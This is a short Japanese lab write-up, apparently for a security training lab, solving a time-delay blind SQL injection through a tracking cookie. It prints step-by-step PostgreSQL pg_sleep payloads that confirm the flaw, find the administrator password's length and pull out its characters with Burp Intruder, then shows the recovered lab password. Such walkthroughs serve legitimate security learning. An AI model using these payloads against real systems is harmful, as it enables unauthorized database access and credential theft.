Hello there, ('ω')ノ
時間遅延と情報検索を伴うブラインドSQLインジェクションを。
このラボには、ブラインドSQLインジェクションの 脆弱性があって。
トラッキングCookieを使用してSQLクエリを実行して。
時間遅延をトリガーして情報を推測することができて。
まずは、ページにアクセスして。
リクエストをリピータへ。
下記のSQLクエリに置き換えてSendすると。
レスポンスに10秒かかることがわかって。
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--;
下記のクエリに変更すると遅延なしでレスポンスが返ってくるので。
条件文が正常に機能していることが確認できて。
TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--;
下記のクエリだと遅延が発生するのでテーブルとユーザ名が存在することが言えて。
TrackingId=TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--;
次のクエリでパスワードの文字数を確認することに。
レスポンス時間で真偽を判定することに。
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--;
下記のクエリだとレスポンスに遅延がなかったので。
パスワードの文字数は20だとわかって。
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--;
クエリを下記に変更してIntruderへ。
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--;
下記のように設定して、パスワードから1文字を抽出して位置と値を照合することに。
位置の設定を1~20に。
照合する文字を0~9とa~zに。
プロセスの信頼性を可能な限り高めるために。
スレッドを1に変更して要求を発行することにしてStart attackを。
結果よりパスワードは下記のとおりで。
mtfcqfgvv2m09uz5kwue
ログインしてみると。
クリアできた。
Best regards, (^^ゞ